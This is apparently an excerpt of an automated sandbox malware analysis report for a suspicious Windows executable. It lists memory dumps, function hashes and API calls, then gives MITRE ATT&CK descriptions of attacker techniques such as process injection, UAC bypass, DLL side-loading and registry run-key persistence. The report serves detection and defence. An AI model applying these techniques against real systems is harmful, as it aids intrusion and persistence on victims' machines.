Associated: 00000002.00000002.2000388142.00000000003C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000411112.00000000003CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000452522.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000470785.0000000000424000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.0000000000434000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000531221.0000000000442000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000549156.0000000000444000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_QPHIWB3GKESEWV8SSDAQV1GC2I70.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 89a5096c08ba00581458cea7601f2a21103de587e5e3ca44854f9901219e6d2b
Instruction ID: 0097bb4e082204f973dd7127af82482720e0af11a8ae37e8fa668ce22c1ca262
Opcode Fuzzy Hash: 89a5096c08ba00581458cea7601f2a21103de587e5e3ca44854f9901219e6d2b
Instruction Fuzzy Hash: 28D0A7B310D216BE7244DAA5685897727ACD944750F30C919F08AC2800E1204840A721

Function 0019E5D6 Relevance: 1.3, APIs: 1, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0019EAFF

Memory Dump Source

Source File: 00000002.00000002.1999468434.000000000019A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.1999410737.0000000000190000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999432818.0000000000192000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999451333.0000000000196000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999488036.00000000001A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999586729.000000000030D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999609289.0000000000310000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999634050.0000000000320000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999653301.0000000000323000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999671750.0000000000324000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999671750.000000000032E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999711394.0000000000333000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999732669.0000000000338000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999752030.000000000033F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999769885.0000000000340000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999789438.0000000000341000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999809260.0000000000342000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999830366.0000000000343000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999849109.0000000000344000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999873179.000000000035C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999899789.000000000036D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999922733.000000000037B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999943569.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999963771.000000000038C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999986612.000000000038F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000009327.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000027977.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000048036.00000000003A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000068852.00000000003A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000089892.00000000003A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000111366.00000000003A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000133558.00000000003B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000158129.00000000003B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000180423.00000000003B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000202707.00000000003B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000224108.00000000003B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000244657.00000000003B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000266859.00000000003BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000289183.00000000003BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000308643.00000000003BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000327223.00000000003BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000348636.00000000003C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000367248.00000000003C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000388142.00000000003C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000411112.00000000003CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000452522.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000470785.0000000000424000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.0000000000434000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000531221.0000000000442000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000549156.0000000000444000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_QPHIWB3GKESEWV8SSDAQV1GC2I70.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7e30c24885677293993dfe4104a6cdac60492803808b987fd15b6f735572f266
Instruction ID: 7f56cdaca05bfe1f9f4e429c9cf23507ddbe8d679bae610fdb6949b6fcd7cf0a
Opcode Fuzzy Hash: 7e30c24885677293993dfe4104a6cdac60492803808b987fd15b6f735572f266
Instruction Fuzzy Hash: 7C1188B250C210EFDB01AF68D8886BEFBE4FF44720F12492DEAD586250E3314850DB93

Function 0019F081 Relevance: 1.3, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0019F75B

Memory Dump Source

Source File: 00000002.00000002.1999468434.000000000019A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.1999410737.0000000000190000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999432818.0000000000192000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999451333.0000000000196000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999488036.00000000001A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999586729.000000000030D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999609289.0000000000310000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999634050.0000000000320000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999653301.0000000000323000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999671750.0000000000324000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999671750.000000000032E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999711394.0000000000333000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999732669.0000000000338000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999752030.000000000033F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999769885.0000000000340000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999789438.0000000000341000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999809260.0000000000342000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999830366.0000000000343000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999849109.0000000000344000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999873179.000000000035C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999899789.000000000036D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999922733.000000000037B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999943569.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999963771.000000000038C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999986612.000000000038F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000009327.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000027977.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000048036.00000000003A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000068852.00000000003A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000089892.00000000003A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000111366.00000000003A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000133558.00000000003B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000158129.00000000003B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000180423.00000000003B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000202707.00000000003B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000224108.00000000003B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000244657.00000000003B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000266859.00000000003BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000289183.00000000003BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000308643.00000000003BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000327223.00000000003BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000348636.00000000003C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000367248.00000000003C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000388142.00000000003C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000411112.00000000003CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000452522.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000470785.0000000000424000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.0000000000434000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000531221.0000000000442000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000549156.0000000000444000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_QPHIWB3GKESEWV8SSDAQV1GC2I70.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: caccb7c1c547ad26ba3facf72d43026070f15b155d78b39aeea786ad9b7cee20
Instruction ID: 2d9a0a6127a7127c7c9fa25091305366969f1256bdc8852a70947efb60c26fb1
Opcode Fuzzy Hash: caccb7c1c547ad26ba3facf72d43026070f15b155d78b39aeea786ad9b7cee20
Instruction Fuzzy Hash: 25E09275008A099FDB4D6F7084991AEBBA0FF14321F124A2DD8E286681D7350C90CB06

Non-executed Functions

Function 0033858A Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1999732669.0000000000338000.00000040.00000001.01000000.00000006.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.1999410737.0000000000190000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999432818.0000000000192000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999451333.0000000000196000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999468434.000000000019A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999488036.00000000001A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999586729.000000000030D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999609289.0000000000310000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999634050.0000000000320000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999653301.0000000000323000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999671750.0000000000324000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999671750.000000000032E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999711394.0000000000333000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999752030.000000000033F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999769885.0000000000340000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999789438.0000000000341000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999809260.0000000000342000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999830366.0000000000343000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999849109.0000000000344000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999873179.000000000035C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999899789.000000000036D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999922733.000000000037B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999943569.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999963771.000000000038C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999986612.000000000038F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000009327.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000027977.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000048036.00000000003A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000068852.00000000003A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000089892.00000000003A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000111366.00000000003A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000133558.00000000003B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000158129.00000000003B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000180423.00000000003B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000202707.00000000003B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000224108.00000000003B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000244657.00000000003B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000266859.00000000003BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000289183.00000000003BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000308643.00000000003BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000327223.00000000003BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000348636.00000000003C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000367248.00000000003C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000388142.00000000003C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000411112.00000000003CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000452522.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000470785.0000000000424000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.0000000000434000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000531221.0000000000442000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000549156.0000000000444000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_QPHIWB3GKESEWV8SSDAQV1GC2I70.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5e74d5bbb1f15181ecfd645335ee9e2765e41b2e036be69d7d4288b5912cd80
Instruction ID: 622c008fac2599d3b234e8e3a7e2b5ea32c71ed218b0f8b2a42a062b95b38141
Opcode Fuzzy Hash: b5e74d5bbb1f15181ecfd645335ee9e2765e41b2e036be69d7d4288b5912cd80
Instruction Fuzzy Hash: 25E086760042059EDB009F54C845A9FFBF4FF5A320F618845F484C7322C3758C51CB2A

Analysis Process: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exePID: 8012, Parent PID: 7492COMMON

Executed Functions

Function 0521081D Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1925619652.0000000005210000.00000040.00001000.00020000.00000000.sdmp, Offset: 05210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5210000_EUB426480Z8XTJ7PLZ2E322TJ3DJ4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90b7c6cb8752763c6311cdf91fe046a4e4f8eab923f3b759b994fbd0e723cd13
Instruction ID: 530d7b79ec9a8f004a66863e2e5408ff9b1cbf935c409bd997f92738b5908985
Opcode Fuzzy Hash: 90b7c6cb8752763c6311cdf91fe046a4e4f8eab923f3b759b994fbd0e723cd13
Instruction Fuzzy Hash: FF214C6653C241AFF302D56055AC5BB3BE6EEE363033588A6E843CB403E555498692B5

Function 05210851 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1925619652.0000000005210000.00000040.00001000.00020000.00000000.sdmp, Offset: 05210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5210000_EUB426480Z8XTJ7PLZ2E322TJ3DJ4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c3542cd1c7b0ae7b6c00d52ac42ee4a991a5d03bfcb0da1201b87f41c375e0d
Instruction ID: 9e2e1a9600939c499999934282c37f47c913136b14209a97dbf84a610957c036
Opcode Fuzzy Hash: 3c3542cd1c7b0ae7b6c00d52ac42ee4a991a5d03bfcb0da1201b87f41c375e0d
Instruction Fuzzy Hash: 4B11A5A653C210AF7241E59156AC9BB77DFEEE5630331842AFC47C6001D6A04AC655B9

Function 05210867 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1925619652.0000000005210000.00000040.00001000.00020000.00000000.sdmp, Offset: 05210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5210000_EUB426480Z8XTJ7PLZ2E322TJ3DJ4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b8e2ee8a125c6c3325f62bd13f8ce23650c87c1bbd91f300f29162b3f238400
Instruction ID: af9d30f9a930c43a33ce53bc68b61c76e9b41c2f5f87e2f921a7743c1ee0123b
Opcode Fuzzy Hash: 6b8e2ee8a125c6c3325f62bd13f8ce23650c87c1bbd91f300f29162b3f238400
Instruction Fuzzy Hash: 5E01F5A653C204AF7241D44156ACABB37DBEDE5A30331C82AFC03C6001D6904ACA41B9

Function 0521088A Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1925619652.0000000005210000.00000040.00001000.00020000.00000000.sdmp, Offset: 05210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5210000_EUB426480Z8XTJ7PLZ2E322TJ3DJ4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98aeb186b2ce464c50135e631be10846ec15b8f50457e1c6ae59d70e22cd3d5c
Instruction ID: 92da9edc2d83843acf7a5be43457b2bbfd417a05f6a0284baa87395fc95336e9
Opcode Fuzzy Hash: 98aeb186b2ce464c50135e631be10846ec15b8f50457e1c6ae59d70e22cd3d5c
Instruction Fuzzy Hash: E5F0F9B653C201EF7200D55166AC9BB67DEEDF5A30331881BFC07C5101E6A049C685B9

Function 052108A0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1925619652.0000000005210000.00000040.00001000.00020000.00000000.sdmp, Offset: 05210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5210000_EUB426480Z8XTJ7PLZ2E322TJ3DJ4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d16c6f44753ae3eff7df4efad4c8dc8a660f4436590d297d41644363df722c0
Instruction ID: 850e9e3397752843593d1b56304f7e74db2b5acdc4a96b5b4f6cba6edb8f1774
Opcode Fuzzy Hash: 1d16c6f44753ae3eff7df4efad4c8dc8a660f4436590d297d41644363df722c0
Instruction Fuzzy Hash: DAF0B4AB53D101AF7140E0516AADEBF6ADFEDF0A303318917FC47C5006D6904AD651F9

Function 052108AE Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1925619652.0000000005210000.00000040.00001000.00020000.00000000.sdmp, Offset: 05210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5210000_EUB426480Z8XTJ7PLZ2E322TJ3DJ4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67084cf87c5d9e209ef3e27ca7d5bde83239a2fc2bc2b5e4240ef647e70e3e7f
Instruction ID: 4776ff2527ac3cb6296ea0b8ec339850d38bfee1e4f16ecbd2cda7a21201306a
Opcode Fuzzy Hash: 67084cf87c5d9e209ef3e27ca7d5bde83239a2fc2bc2b5e4240ef647e70e3e7f
Instruction Fuzzy Hash: C3F02B7B93D1159F7241E0A162ADABF7BDBEEF4A303318527EC03CA016D29146D681F9

Function 052108CB Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1925619652.0000000005210000.00000040.00001000.00020000.00000000.sdmp, Offset: 05210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5210000_EUB426480Z8XTJ7PLZ2E322TJ3DJ4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5d4e55b1ee4004e2e86cd594421fb5f5b8ddbe6668562d42660654850303d48
Instruction ID: a7357fd980fefd816b4eead05db003620ab77fc6c89f4ef2d1d2c45569bd0749
Opcode Fuzzy Hash: a5d4e55b1ee4004e2e86cd594421fb5f5b8ddbe6668562d42660654850303d48
Instruction Fuzzy Hash: 5BF05CBA93C500DF6140E56195ED97F3ADBFFF5D303304506EC038A011D7A046A285E9

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

